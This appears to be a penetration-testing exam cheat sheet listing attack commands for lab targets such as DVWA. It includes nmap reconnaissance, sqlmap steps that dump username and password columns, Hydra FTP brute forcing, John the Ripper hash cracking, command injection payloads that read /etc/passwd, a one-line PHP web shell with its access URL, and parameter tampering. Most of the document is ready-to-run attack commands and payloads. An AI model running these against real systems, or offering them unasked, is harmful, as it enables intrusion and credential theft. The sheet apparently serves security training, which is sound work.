0. Nmap:

For Host / FQDN / PD Version Enumeration:

```
nmap -p 389 -sV IP
nmap -sV -A -T5 IP
nmap --script smb-os-discovery -p 445 IP
nmap -sS -v -p 3389 --open --script *-ntlm-info IP --script-timeout 60s
nmap -p 389 -T4 -A -v --script ldap-rootdse IP
```

For SMB Enumeration:

```
nmap -p 139,445 -T4 -sS --script vuln IP
```

Website Vulnerability Scan:

```
nmap -Pn --script vuln IP
nmap -sV --script http-enum www.site.com
```

To Identify ADB Port:

```
nmap -p 5555 IP
```

To Find Trojan Port:

```
# Check For the Higher Port range
nmap -p- IP
nmap -p 9871,6703 IP
```

1. SQL Injection using SQLMap:

Extract passwords from a vulnerable web app:

```
sqlmap -u "http://target.com/login.php?id=1" --dbs
sqlmap -u "http://target.com/login.php?id=1" -D database_name --tables
sqlmap -u "http://target.com/login.php?id=1" -D database_name -T users --columns
sqlmap -u "http://target.com/login.php?id=1" -D database_name -T users -C username,password --dump
```

2. Scan for RDP (Port 3389) & OS Discovery:

```
nmap -p 3389 --open -sV -T4 192.168.1.0/24
nmap -O 192.168.1.X
```

3. Find MySQL Service Running on Which Host:

```
nmap -p 3306 --open -sV 192.168.1.0/24
```

4. Crack FTP Credentials using Hydra:

```
hydra -L /home/user/wordlist/usernames.txt -P /home/user/wordlist/passwords.txt ftp://192.168.1.X
```

5. Extract Password.txt from VeraCrypt:

```
veracrypt -t -m nokernelcrypto --password="your_password" /path/to/encrypted/file /mnt
cat /mnt/password.txt
```

6. Extract Username & Password from Wireshark:

- Open Wireshark
- Apply filter: http.authbasic || ftp || kerberos || smtp.auth
- Look for username/password in the Follow TCP Stream section.

7. Check if Bit 3 is True using Wireshark:

- Open Wireshark
- Apply filter: tcp.flags.ack==1 && tcp.flags.syn==1
- Check bit 3 in TCP header.

8. Identify Traffic Direction using Wireshark:

- Open Wireshark

- Use filter: ip.addr == 192.168.1.X
- Analyze source & destination ports in TCP Stream.

9. Decrypt 3DES Encryption using CryptoTool:

1. Open CryptoTool
2. Click Encryption/Decryption > Asymmetric > Triple DES ECB
3. Set key 11 11 11 in all fields.
4. Open encrypted file and decrypt.

10. Extract PIN using OpenStego:

```
openstego extract -sf secret_image.png
```

11. Steganalysis on TXT file using Snow:

```
snow.exe -C -p "given_password" file_name.txt
```

12. Brute Force Website Login using BurpSuite (Intruder):

1. Capture POST request of login form in BurpSuite.
2. Send to Intruder > Positions > Set username/password fields.
3. Load wordlists for username & password.
4. Start attack & check responses.

13. Crack Hash using John the Ripper:

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashfile.txt
```

14. Find & Extract Flag File from FTP:

```
ftp 192.168.1.X
# Login with cracked credentials
ls -la
get flag.txt
cat flag.txt
```

15. Remote OS Command Injection (DVWA):

```
127.0.0.1; cat /etc/passwd
127.0.0.1 && dir C:\
| dir c:\ pin.txt
```

16. File Upload (DVWA):

Upload PHP shell:

```
<?php system($_GET['cmd']); ?>
```

Access it via:

```
http://target.com/uploads/shell.php?cmd=whoami
```

17. Compare Hashes to Check File Integrity:

```
md5sum file1.txt
md5sum file2.txt
```

18. Identify Trojan Port:

```
netstat -ano | findstr :4444
nmap -p- --open -sV 192.168.1.X
```

19. Parameter Tampering:

Modify GET/POST parameters in BurpSuite:

```
price=1000&discount=0 -> price=0&discount=100
```

20. Cryptanalysis using CryptoTool:

1. Open CryptoTool.
2. Click Encryption/Decryption > Asymmetric > Triple DES ECB.
3. Set 11 11 11 as the key.
4. Decrypt the file.

21. Extract Hidden Data using Snow:

```
snow.exe -C -p "given_password" hidden_text.txt
```

22. List PIN File in Remote OS Command Injection:

```
| dir c:\ "pin.txt"
```

! Take pin.txt